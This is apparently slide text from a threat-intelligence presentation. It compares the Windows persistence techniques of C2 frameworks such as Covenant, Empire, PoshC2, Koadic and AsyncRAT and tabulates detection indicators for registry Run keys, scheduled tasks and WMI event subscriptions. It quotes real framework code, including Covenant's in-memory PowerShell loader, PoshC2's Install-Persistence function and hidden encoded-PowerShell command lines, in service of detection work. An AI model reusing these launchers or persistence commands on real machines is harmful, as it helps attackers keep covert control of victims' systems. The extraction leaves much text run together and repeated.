https://github.com/cobbr/Covenant/blob/master/Covenant/Models/Launchers/PowerShellLauncher.cs#L71
Copyright Internet Initiative Japan Inc.

76

PowerShell launcher source code

Covenant

private static readonly string PowerShellLauncherCodeTemplate = @“sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘{{GRUNT_IL_BYTE_STRING}}’),[IO.Compression.CompressionMode]::Decompress));
sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);
while((gv r).Value -gt 0){(gv o).Value.Write((gvb).Value,0,(gv r).Value);
CovenantのAgentはDeflate圧縮され、
sv r (gv d).Value.Read((gvb).Value,0,1024);
さらにBase64Encodeされている}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null";
https://github.com/cobbr/Covenant/blob/master/Covenant/Models/Launchers/PowerShellLauncher.cs#L71
Copyright Internet Initiative Japan Inc.

77

Indicators

Covenant

Item

Value

ScriptBlock

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘<base64 encode file’>),[IO.Compression.CompressionMode]::Decompress));svb (New-Object Byte[](1024));sv r (gv d).Value.Read((gvb).Value,0,1024);while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gvr).Value);sv r (gv d).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null";Copyright Internet Initiative Japan Inc.

78

Threat Intelligence~ Persistence ~Copyright Internet Initiative Japan Inc.

79

Persistence matrix 1
Technique

Registry Run Key/Startup
FolderScheduled Task/Job

Count

Frameworks

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadicMerlinPoshC2
QuasarSliver

7/10

•
•
•
•
•
•
•

AsyncRAT
DcRat
EmpireKoadicPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

80

Persistence matrix 2
TechniqueCount

Frameworks

4/10

•
•
•
•

Covenant
EmpireKoadicPoshC2

Windows Service

4/10

•
•
•
•

Covenant
Havoc
PoshC2
SliverComponent Object Model
Hijacking

1/10•

Covenant

Image File Execution Options
Injection

1/10•

EmpireWMI Event Subscription

Copyright Internet Initiative Japan Inc.

81

Focus on Run Registry Key/Startup Folder
Technique

Registry Run Key/Startup
FolderScheduled Task/Job

Count

Frameworks

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadicMerlinPoshC2
QuasarSliver

7/10

•
•
•
•
•
•
•

AsyncRAT
DcRat
EmpireKoadicPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

82

Registry Run key features• すべてのフレームワークがHKCUのRun keyへ登録する機能を有する– HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run– フレームワークがWindows APIを通してRun keyへ登録する• インジケータ– Registry key– Registry value name– Registry value type
– Registry value data

Copyright Internet Initiative Japan Inc.

83

Registry Run Keys indicator matrix
Framework

Registry Key

AsyncRATHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

DcRat

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Covenant

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Empire••KoadicHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

MerlinHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

PoshC2

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Quasar••••

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

Copyright Internet Initiative Japan Inc.

84

Empire and Quasar use multiple Run Registry keys
Framework

Registry Key

AsyncRATHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

DcRat

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Covenant

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Empire••KoadicHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

MerlinHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

PoshC2

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Quasar••••

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

Copyright Internet Initiative Japan Inc.

85

Registry value name and registry type indicator matrix
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

86

AsyncRAT and DcRat registry value name are persistent
file name
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

87

Four frameworks use updater-like names for registryvalue names
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

88

Covenant’s registry value type is "REG_EXPAND_SZ"
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

89

Indicators

Covenant

Item

Value

Key

•
•

Name

（default）Updater

Type

REG_EXPAND_SZ

Data<any file path>

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Copyright Internet Initiative Japan Inc.

90

Koadic registry value name is "K0adic"!
Framework

Name

Type

AsyncRAT<Persistent file name >REG_SZ

DcRat<Persistent file name >REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

91

Registry value data indicator matrix
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

92

Persistence path is %AppData% or %Temp%
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

93

Setting persistence of AsyncRAT, DcRat

AsyncRAT

DcRat• AsyncRAT、 DcRatはビルド時に永続化設定– %AppData%, %Temp%• 永続化には特定のディレクトリしか指定できない

DcRat Builder
AsyncRAT Builder
Copyright Internet Initiative Japan Inc.

94

Indicators

AsyncRAT

DcRat

Item

Value

Key

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Name<any filename>

Data

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

95

Empire and PoshC2 read a registry value and execute it
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

96

Empire and PoshC2 persistence techniqueEmpirePoshC2• Empire, PoshC2はレジストリに永続化のためのデータを保存– EmpireはBase64 encodeしたagent– PoshC2はPowerShellを実行するコマンドライン• 永続化されたLauncherがレジストリを読み取り実行する
Framework

Registry key

Name

EmpireHKCU¥SOFTWARE¥Microsoft¥Windows¥
CurrentVersion¥(default) Debug

PoshC2

HKCU¥SOFTWARE¥Microsoft¥Windows¥
CurrentVersion¥Themes•••

Wallpaper555
Wallpaper666
Wallpaper777

Copyright Internet Initiative Japan Inc.

97

Indicators

Empire

Item

Value

Key

•
•

Name

(default) Debug

Data<base64 encoded script>

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion

Copyright Internet Initiative Japan Inc.

98

Decoding base64-encoded script with CyberChef

EmpireCopyright Internet Initiative Japan Inc.

99

Execution script with Registry Run key

Empirescript += (<…snip…>
HKCU:Software¥¥Microsoft¥¥Windows¥¥CurrentVersion¥¥Run¥¥ -Name "+ key_name + ' -Value¥'"C:¥¥Windows¥¥System32¥¥WindowsPowerShell¥¥v1.0¥¥powershell.exe" -c"$x='+ location_string + ";powershell -Win Hidden -enc $x¥"';")C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c“$x=((gp HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion
debug).debug);powershell -Win Hidden -enc $x"
https://github.com/BC-SECURITY/Empire/blob/main/empire/server/modules/powershell/persistence/userland/registry.py#L192 -L198
Copyright Internet Initiative Japan Inc.

100

Indicators

Empire

Item

Value

Key

•
•

Name

（default）Updater
•

Data

•

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win Hidden enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win Hidden enc $x"

Copyright Internet Initiative Japan Inc.

101

Indicators

PoshC2

Item

Value

Key

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Themes

Name

•
•
•

Data

powershell -exec bypass -Noninteractive -windowstyle hidden -e<base64 encoded script>

Wallpaper555
Wallpaper666
Wallpaper777

Copyright Internet Initiative Japan Inc.

102

Install-Persistence source code

PoshC2Function Install-Persistence{Param ($Method)if (!$Method){$Method=1}
if ($Method -eq 1) {Set-ItemProperty -Path"Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥"
Wallpaper777 -value "$payload"
Set-ItemProperty -Path"Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥run¥" IEUpdate-value "C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe exec bypass -Noninteractive -windowstyle hidden -c iex (Get-ItemProperty Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallp
aper777"https://github.com/nettitude/PoshC2/blob/master/resources/modules/Stage2-Core.ps1#L152-L158
Copyright Internet Initiative Japan Inc.

103

Indicators

PoshC2

Item

Value

Key

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Name

IEUpdate

Data

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Copyright Internet Initiative Japan Inc.

104

Koadic executes mshta.exe for executing its agent
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

105

Merlin uses Alternate Data Streams
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

106

Merlin uses Invoke-ADSBackdoor.ps1 for persistence Merlin• MerlinはモジュールのInvoke-ADSBackdoor.ps1を用いて永続化することができる• Invoke-ADSBackdoor.ps1はRun keyに永続化する• Invoke-ADSBackdoor.ps1の実行コマンドが間違っているため、永続化に失敗する

Copyright Internet Initiative Japan Inc.

107

Focus on Scheduled Task/Job
Technique

Registry Run Key/Startup
FolderScheduled Task/Job

Count

Framework

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadicMerlinPoshC2
QuasarSliver

7/10

•
•
•
•
•
•
•

AsyncRAT
DcRat
EmpireKoadicPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

108

Scheduled Task features• Sliver以外がschtasks.exeを用いてタスクが作成される– SliverはSharPersistを利用• インジケータ– Task name
– Trigger– Operation

Copyright Internet Initiative Japan Inc.

109

Name and trigger indicator matrix
Framework

Name

Triggers

AsyncRAT<persistence file name>onlogonDcRat<persistence file name>onlogonEmpire(default) Updater(default) Daily 09:00 AM

KoadicK0adiconlogonPoshC2IEUpdate

onlogonQuasar<any name>onlogonSliver<any name>•••onlogonHourlyDaily execute from 10:00AM
to 12:00 PM

Copyright Internet Initiative Japan Inc.

110

Five framework task names are same as Registry Run key
Framework

Name

Triggers

AsyncRAT<persistence file name>onlogonDcRat<persistence file name>onlogonEmpire(default) Updater(default) Daily 09:00 AM

KoadicK0adiconlogonPoshC2IEUpdate

onlogonQuasar<any name>onlogonSliver<any name>•••onlogonHourlyDaily execute from 10:00AM
to 12:00 PM

Copyright Internet Initiative Japan Inc.

111

Frameworks other than Empire use onlogon trigger
Framework

Name

Triggers

AsyncRAT<persistence file name>onlogonDcRat<persistence file name>onlogonEmpire(default) Updater(default) Daily 09:00 AM

KoadicK0adiconlogonPoshC2IEUpdate

onlogonQuasar<any name>onlogonSliver<any name>•••onlogonHourlyDaily execute from 10:00AM
to 12:00 PM

Copyright Internet Initiative Japan Inc.

112

Operation indicator matrix
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

113

AsyncRAT, DcRat, and Koadic indicators are same as Run
key
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

114

Empire executes agent with Invoke-Expression(IEX)
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

115

PoshC2 reads “Wallpaper555” registry value to execute an
agent
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

116

Only three paths for Quasar persistence using
schtasks.exe
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

117

Focus on WMI Event Subscription
TechniqueCount

Framework

4/10

•
•
•
•

Covenant
EmpireKoadicPoshC2

Windows Service

4/10

•
•
•
•

Covenant
Havoc
PoshC2
SliverComponent Object Model
Hijacking

1/10•

Covenant

Image File Execution Options
Injection

1/10•

EmpireWMI Event Subscription

Copyright Internet Initiative Japan Inc.

118

WMI Event Subscription features• WMI Event Subscriptionへの登録は管理者権限が必要• すべてのフレームワークでWQLがEventFilterに利用される• インジケータ– Name– Query

Copyright Internet Initiative Japan Inc.

119

WMI Event Subscription name and query indicator matrix
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

120

Empire and Koadic subscription names are same as theirother persistence mechanisms
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

121

PoshC2 subscription name is "backup"
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

122

Covenant WMI query uses lower-case letter
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

123

SharpSploit WMI source code

Covenant

private static ManagementObject CreateEventFilter(string EventName, EventFilter
EventFilter, string ProcessName) {ManagementObject _EventFilter = null;
WMI Queryは大文字でハードコードされている
try {
string query = string.Empty;
if (EventFilter == EventFilter.ProcessStart) {query = $@"SELECT * FROM Win32_ProcessStartTrace WHERE
ProcessName='{ProcessName}’”;}_EventFilter = wmiEventFilter.CreateInstance();_EventFilter["Name"] = EventName;_EventFilter["Query"] = wql.QueryString;<…snip…>}
https://github.com/cobbr/SharpSploit/blob/4bf3d2aa44d73b674867a1d28cc90a3bd54f100f/SharpSploit/Persistence/WMI.cs#L46-L73
Copyright Internet Initiative Japan Inc.

124

Indicators

Covenant

Item

Value

Name

<any name>Query

select * from Win32_ProcessStartTrace where ProcessName = ‘<anyprocess name>’;CommandLine<any command line>

Copyright Internet Initiative Japan Inc.

125

Empire and Koadic query refer "SystemUpTime"
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325;

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

126

PoshC2 query refers system time
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
